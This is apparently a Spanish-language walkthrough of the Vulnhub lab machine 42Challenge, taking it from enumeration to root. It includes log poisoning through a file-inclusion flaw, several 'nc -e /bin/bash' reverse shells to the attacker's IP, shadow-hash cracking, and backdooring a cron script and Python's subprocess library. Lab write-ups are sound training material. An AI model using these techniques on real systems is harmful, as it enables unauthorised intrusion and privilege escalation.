[VLN] 42Challenge

Hoy vamos a hackear la maquina de Vulnhub llamada 42Challenge. Podeis descargarla desde el siguiente enlace: 42Challenge

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

sml@Cassandra:~$ nmap -A -p- 192.168.1.55
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 11:51 CEST
Nmap scan report for 42Challenge.home (192.168.1.55)
Host is up (0.011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 
2.0)
| ssh-hostkey: 
|   2048 94:8a:b4:a8:28:76:56:ce:49:d6:d5:6c:11:e5:38:dd (RSA)
|   256 8c:f7:82:be:14:11:01:cd:d3:07:3b:87:6b:b7:fd:4c (ECDSA)
|_  256 45:56:fc:1d:10:a9:62:6f:4f:ae:66:36:aa:86:d2:e9 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Ip Pinger
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds
Exploramos un poco mas el HTTP.

sml@Cassandra:~$ gobuster dir -u http://192.168.1.55 -w 
/usr/share/wordlists/dirb/big.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.1.55
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] Timeout:        10s
===============================================================
2020/06/19 12:12:48 Starting gobuster
===============================================================
/flag.txt (Status: 200)
/index.php (Status: 200)
/logs (Status: 301)
===============================================================
2020/06/19 12:12:58 Finished
===============================================================
Visitamos http://192.168.1.55/index.php y vemos que podemos introducir una IP y al darle al boton "Make a ping", nos devuelve el resultado. Si hacemos ping por ejemplo a 1.1.1.1, nos redirige a la URL http://192.168.1.55/index.php?log=logs/192.168.1.148.log la cual muestra la "salida" del comando. Eso quiere decir que la salida se guarda en un fichero "IP.log", y a traves del parametro "log" nos muestra el contenido de ese fichero. Si miramos el codigo, podemos ver:

	const file = urlParams.get('log')
				if (file.includes('logs/') && 
file.includes('.log'))
				{
					var correct_logfile = 1;
				} else {
					var correct_logfile = 0;
				}
				if (correct_logfile == 0)
				{
					alert("Sorry, you are not allowed to 
read this file.");
					window.location.replace("index.php");
Sabiendo esto, vemos que se esperan los strings logs/ y .log, vamos a probar a agregarle otro parametro log apuntando hacia un fichero que nos gustaria ver... Hemos visto que el server HTTP es Nginx, asi que vamos a ver si podemos ver algo de sus logs...Si visitamos: http://192.168.1.55/index.php?log=logs/192.168.1.148.log&log=/var/log/nginx/acce ss.log Podemos leerlo :) Vamos a "envenenar" los logs de nginx, para que al acceder a ellos podamos ejecutar algun comando, para ello: 1) Arrancamos Burp. 2) Visitamos index.php 3) Cogemos esa request y la mandamos a repeater. 4) Modificamos el User Agent con: User-Agent: Mozilla/5.0 Firefox/68.0 Una vez hecho los pasos anteriores, ponemos nc a la escucha.

sml@Cassandra:~$ nc -nlvp 5555
listening on [any] 5555 ...
Y visitamos: http://192.168.1.55/index.php?log=logs/192.168.1.148.log&log=/var/log/nginx/acce ss.log&cmd=nc%20-e%20/bin/bash%20192.168.1.148%205555

Low Shell



sml@Cassandra:~$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.65] 41810
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@42Challenge:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ya estamos dentro!

www-data_flag.txt



www-data@42Challenge:~/html$ ls
flag.txt  index.php  logs
www-data@42Challenge:~/html$ cat flag.txt
42challenge{www-data_d009633c1bea90aef338fae768aec8fd}
Exploramos un poco el sistema

www-data@42Challenge:~/html$ cd /var/backups
www-data@42Challenge:/var/backups$ ls -l
---SNIP---
-rw-r--r-- 1 root shadow    1670 Feb 29 10:32 shadow_backup.bak
---SNIP---
www-data@42Challenge:/var/backups$ cat shadow_backup.bak
---SNIP---
marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmo
qakgYx0Bg651WOM0cvKdwhaG.:18319:0:99999:7:::
sshd:*:18317:0:99999:7:::
mysql:!:18318:0:99999:7:::
lucas:$6$zBETbEhW$rF/A44Y5NCJATkFfD4Qu4lzebQ/PW5/kPD1WKTzf6/uSt4PtPXESIENWW5xd9P
sKGu7k2hCLI9uz7s8HyNHdv.:18318:0:99999:7:::
maria:$6$jD/TgaEw$6HAWM6i4NUsMtSUkqx1d60cdQTLJTWIN/9Y5Qmr0pShdkhiZ/M465WwFDUj4HK
nuKZuHc53GPNJg01uY/9DPQ0:18318:0:99999:7:::
---SNIP---
En /var/backups encontramos el fichero shadow_backup.bak, usaremos john para ver si podemos crackear algun password. En este caso, creamos el fichero e.txt que contiene: marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmo qakgYx0Bg651WOM0cvKdwhaG. Y procedemos a crackearlo.

sml@Cassandra:~$ cat e.txt
marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmo
qakgYx0Bg651WOM0cvKdwhaG.
sml@Cassandra:~$ sudo /usr/sbin/john e.txt --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
marvinthemartian (marvin)
1g 0:00:01:03 DONE (2020-06-22 09:00) 0.01578g/s 6366p/s 6366c/s 6366C/s 
mattie21..mariojosue
Use the "--show" option to display all of the cracked passwords reliably
Session completed
La password de marvin es marvinthemartian :) La usamos para conectarnos por ssh.

marvin_flag.txt



sml@Cassandra:~$ ssh marvin@192.168.1.55
marvin@192.168.1.55's password: 

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh-       oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy-           --      .yMMMMMMMMm
     .+mMMMMMMMNs-                   .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Tue Apr 14 12:43:13 2020 from 192.168.1.91

marvin@42Challenge:~$ cat flag.txt
42challenge{marvin_92e8dd9db0b4bd058eaa3ae340c41900}
Vemos si encontramos algo interesante...

marvin@42Challenge:~$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/Lucas_Access
Encontramos el fichero /usr/bin/Lucas_Access el cual si lo ejecutamos nos pide un password. Lo copiamos en nuestra maquina para investigarlo un poco mas...

sml@Cassandra:~$ scp marvin@192.168.1.55:/usr/bin/Lucas_Access .
marvin@192.168.1.55's password: 
Lucas_Access                                                                    
                                                   100%   13KB   3.8MB/s   00:00
Usamos gdb para ver que podemos encontrar.

sml@Cassandra:~$ gdb ./Lucas_Access 
---SNIP---
Reading symbols from ./Lucas_Access...
(No debugging symbols found in ./Lucas_Access)
gdb-peda$ disas main

0x0000000000000a68 <+110>:   mov    eax,0x0
0x0000000000000a6d <+115>:   call   0x8ea 
0x0000000000000a72 <+120>:   jmp    0xae5 
0x0000000000000a74 <+122>:   lea    rax,[rbp-0x30]
0x0000000000000a78 <+126>:   mov    rdi,rax
0x0000000000000a7b <+129>:   call   0x901 
0x0000000000000a80 <+134>:   test   eax,eax
0x0000000000000a82 <+136>:   je     0xa90 
Al hacer disas main, vemos la funcion "try". La exploramos un poco.

gdb-peda$ disas try
0x000000000000092a <+41>:    movabs rsi,0x635036735f466433
0x0000000000000934 <+51>:    mov    QWORD PTR [rax],rsi
0x0000000000000937 <+54>:    mov    BYTE PTR [rax+0x8],0x0
0x000000000000093b <+58>:    mov    rax,QWORD PTR [rbp-0x8]
0x000000000000093f <+62>:    mov    rcx,0xffffffffffffffff
0x0000000000000946 <+69>:    mov    rdx,rax
0x0000000000000949 <+72>:    mov    eax,0x0
0x000000000000094e <+77>:    mov    rdi,rdx
0x0000000000000951 <+80>:    repnz scas al,BYTE PTR es:[rdi]
0x0000000000000953 <+82>:    mov    rax,rcx
0x0000000000000956 <+85>:    not    rax
0x0000000000000959 <+88>:    lea    rdx,[rax-0x1]
0x000000000000095d <+92>:    mov    rax,QWORD PTR [rbp-0x8]
0x0000000000000961 <+96>:    add    rax,rdx
0x0000000000000964 <+99>:    movabs rsi,0x7a5a5f45726d246a
0x000000000000096e <+109>:   mov    QWORD PTR [rax],rsi
Tras mirar el codigo, vemos que la funcion tiene 2 strings los cuales concatena y luego va comparando si es igual a nuestro string. Si jugamos un poco con la funcion, vemos que al final nos muestra el string que necesitamos...

gdb-peda$ break try
Breakpoint 1 at 0x905
gdb-peda$ run                                                                   
                                                             
`/home/sml/Lucas_Access' has changed; re-reading symbols.                       
                                                             
(no debugging symbols found)                                                    
                                                             
Starting program: /home/sml/Lucas_Access                                        
                                                             
                                                                                
                                                             
Welcome to the Lucas access system.                                             
                                                             
                                                                                
                                                             
Please, type the password:                                                      
                                                             
OMG  

R8 : 0x555555757ac0 ("3dF_s6Pcj$mrE_Zz")
Ahora que tenemos la "password" probamos.

marvin@42Challenge:~$ /usr/bin/Lucas_Access 
Welcome to the Lucas access system.

Please, type the password:
3dF_s6Pcj$mrE_Zz

Welcome Lucas!, I'm happy to see you again :D

lucas@42Challenge:~$ id
uid=1001(lucas) gid=1001(lucas) grupos=1001(lucas),1000(marvin)
Ya estamos dentro como lucas.

lucas_flag.txt



lucas@42Challenge:~$ cd /home/lucas
lucas@42Challenge:/home/lucas$ ls
flag.txt
lucas@42Challenge:/home/lucas$ cat flag.txt 
42challenge{lucas_1e3ed5f8be63ef05c975e92ec3c53af2}
Echamos un vistazo a ver que puede hacer lucas.

lucas@42Challenge:/home/lucas$ sudo -l
Coincidiendo entradas por defecto para lucas en 42Challenge:
    env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

El usuario lucas puede ejecutar los siguientes comandos en 42Challenge:
    (maria) NOPASSWD: /bin/nano
Bien, puede usar nano como "maria". Asi que usamos nano para obtener una shell como maria!

maria_flag.txt



lucas@42Challenge:/home/lucas$ sudo -u maria /bin/nano
^R^X
reset; sh 1>&0 2>&0
$ cd /home/maria
$ cat flag.txt
42challenge{maria_feb36fabc2ca4874fe0b42ed7d17d58f}
Creamos el directorio .ssh en el /home de maria y copiamos nuestra key .pub para poder acceder desde ssh.

$ mkdir .ssh
$ cd .ssh
$ echo "ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABgQDcUuJg2NOqDgmzxVJhRQP9/p4MVjcdXx3IhmtU1rrKrLyRMy0s
H4DiWzhA229GYE/2E+CPOsO1O2hxdyVa+huou8isbbxXCdrHnj8VK2I9IiGDGX0Lqi/KAKmwNhLhEuIr
k7KVWgKvLwRFYLW8ObSfsijiObw57M1gh95i2mEDNe/NvNLySbmReWfLCTRdE93YSVHPMOV3U0wKqlY9
8PYcOWhbC1pJj602/n0gN7OwZ7h88X5eyU347rV5CAcdL4YCihqB3th2otLi6oaDX0CxNOHaGYH+kj3z
C/PopaJ/g3DopdFxb3+Kr3FcyvMTd9kfF0FdM1ZwoilXRV4HEa8h3M5+876kkpZCgpVnAu+NiUaKhb+I
PKjkwxSz8hyjXxnBqHMp9LXkXOPAxNTJT2KILYRklPlIlQW68ZzbvdX4N66wGHGGg3VNivPyv60fadvv
sBJaYhFRw4YDFepWMqMSaP2dNijyAFWLg1cE7W+2GG25+625/dEbGCPCVDFq0/E= sml@Cassandra" 
>> authorized_keys
Accedemos por ssh.

sml@Cassandra:~$ ssh maria@192.168.1.55

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh-       oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy-           --      .yMMMMMMMMm
     .+mMMMMMMMNs-                   .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Mon Apr 13 12:48:08 2020 from 192.168.1.91
maria@42Challenge:~$
Nos descargamos pspy64 para ver que hace el sistema.

maria@42Challenge:/tmp$ wget http://192.168.1.148/pspy64                        
                                                                                
                         
--2020-06-23 12:28:51--  http://192.168.1.148/pspy64                            
                                                                                
     
Conectando con 192.168.1.148:80... conectado.                                   
                                                                                
     
Petición HTTP enviada, esperando respuesta... 200 OK                           
                                                                                
      
Longitud: 3078592 (2,9M) [application/octet-stream]                             
                                                                                
     
Guardando como: “pspy64†                                                   
                                                                                
         

pspy64              100%[===================>]   2,94M  --.-KB/s    en 0,02s   

2020-06-23 12:28:51 (120 MB/s) - “pspy64†guardado [3078592/3078592]

maria@42Challenge:/tmp$ chmod +x pspy64
maria@42Challenge:/tmp$ ./pspy64
Al ejecutarlo vemos cosas interesantes:

---SNIP---
2020/06/23 12:29:31 CMD: UID=1004 PID=1973   | python 
/home/laura/Server_Status.py 
2020/06/23 12:29:31 CMD: UID=1004 PID=1971   | /bin/sh -c python 
/home/laura/Server_Status.py >/dev/null 2>&1 
2020/06/23 12:29:31 CMD: UID=0    PID=1970   | /usr/sbin/CRON -f 
2020/06/23 12:29:31 CMD: UID=1003 PID=1920   | /bin/bash 
2020/06/23 12:29:31 CMD: UID=1003 PID=1919   | python -c import pty; 
pty.spawn("/bin/bash") 
2020/06/23 12:29:31 CMD: UID=1003 PID=1916   | bash 
2020/06/23 12:29:31 CMD: UID=1003 PID=1915   | sh 
/home/maria/Send_Reporting_Email.sh 
---SNIP--
Podemos ver que el usuario pedro (UID 1003) ejecuta el script /home/maria/Send_Reporting_Email.sh y por otro lado que el usuario laura (UID 1004) ejecuta el script /home/laura/Server_Status.py. Ya que tenemos permisos para escribir en /home/maria, vamos a crear el script que ejecuta "pedro" para obtener una reverse shell... Ponemos nc a la escucha:

sml@Cassandra:~$ nc -nlvp 8888
listening on [any] 8888 ...
Creamos el script que nos dara la reverse shell.

maria@42Challenge:~$ echo "nc -e /bin/bash 192.168.1.148 8888" >> 
Send_Reporting_Email.sh
Y tras esperar...

pedro_flag.txt



sml@Cassandra:~$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.65] 59340
python -c 'import pty; pty.spawn("/bin/bash")'
pedro@42Challenge:~$ cat flag.txt
42challenge{pedro_6b849447404a8ddb95936e9804305fa6}
Exploramos un poco el sistema.

pedro@42Challenge:~$ cat .viminfo 
---SNIP---
# Lista de saltos (el más reciente va primero):
-'  1344  0  /usr/lib/python2.7/subprocess.py
|4,39,1344,0,1584204054,"/usr/lib/python2.7/subprocess.py"
-'  1  0  /usr/lib/python2.7/subprocess.py
|4,39,1,0,1584204042,"/usr/lib/python2.7/subprocess.py"

# Historia de las marcas en los archivos (de la más reciente a la más 
antigua):

> /usr/lib/python2.7/subprocess.py
        *       1584204053      0
        "       1344    0
---SNIP---

pedro@42Challenge:~$ ls -l /usr/lib/python2.7/subprocess.py
-rw-rw-rw- 1 root root 51259 abr 13 13:17 /usr/lib/python2.7/subprocess.py
Vemos que pedro ha estado jugando con el fichero /usr/lib/python2.7/subprocess.py, para el cual tenemos permisos de escritura. Por otro lado, vemos el contenido del script que ejecuta laura cada cierto tiempo.

pedro@42Challenge:~$ cat /home/laura/Server_Status.py
cat /home/laura/Server_Status.py
import os
import subprocess

def is_service_running(name):
    with open(os.devnull, 'wb') as hide_output:
        exit_code = subprocess.Popen(['service', name, 'status'], 
stdout=hide_output, stderr=hide_output).wait()
        return exit_code == 0


if not is_service_running('ssh'):
    print 'SSH: is not running'
else:
    print 'SSH: is running'

if not is_service_running('nginx'):
    print 'Nginx: is not running'
else:
    print 'Nginx: is running'
Ejecuta la libreria subprocess, la cual podemos editar :) Dicho esto, la modificamos para obtener una reverse shell como laura... Ponemos nc a la escucha:

sml@Cassandra:~$ nc -nlvp 9999
listening on [any] 9999 ...
Editamos /usr/lib/python2.7/subprocess.py

pedro@42Challenge:~$ echo "os.system(\"nc -e /bin/bash 192.168.1.148 9999\")" 
>> /usr/lib/python2.7/subprocess.py
Y...

laura_flag.txt



sml@Cassandra:~$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.55] 59340
python -c 'import pty; pty.spawn("/bin/bash")'
laura@42Challenge:~$
pedro@42Challenge:~$ cat flag.txt
42challenge{laura_f43b25e765a8f79a24cedd76753d38c2}
Miramos a ver que puede hacer laura.

laura@42Challenge:~$ sudo -l
Coincidiendo entradas por defecto para laura en 42Challenge:
    env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

El usuario laura puede ejecutar los siguientes comandos en 42Challenge:
    (root) NOPASSWD: /home/laura/test
Puede ejecutar /home/laura/test como root... Creamos un enlace de bash, como "test", y lo ejecutamos con sudo.

Privilege Escalation



laura@42Challenge:~$ ln -s /bin/bash test
laura@42Challenge:~$ sudo /home/laura/test
root@42Challenge:~# cd /root
root@42Challenge:/root# id
uid=0(root) gid=0(root) grupos=0(root)

root_flag.txt



root@42Challenge:/root# ls
flag.txt
root@42Challenge:/root# cat flag.txt 
42challenge{root_b66b33ade4d6aacb37d84353074d5aed}

End


Y con esto ya seriamos root de la maquina :)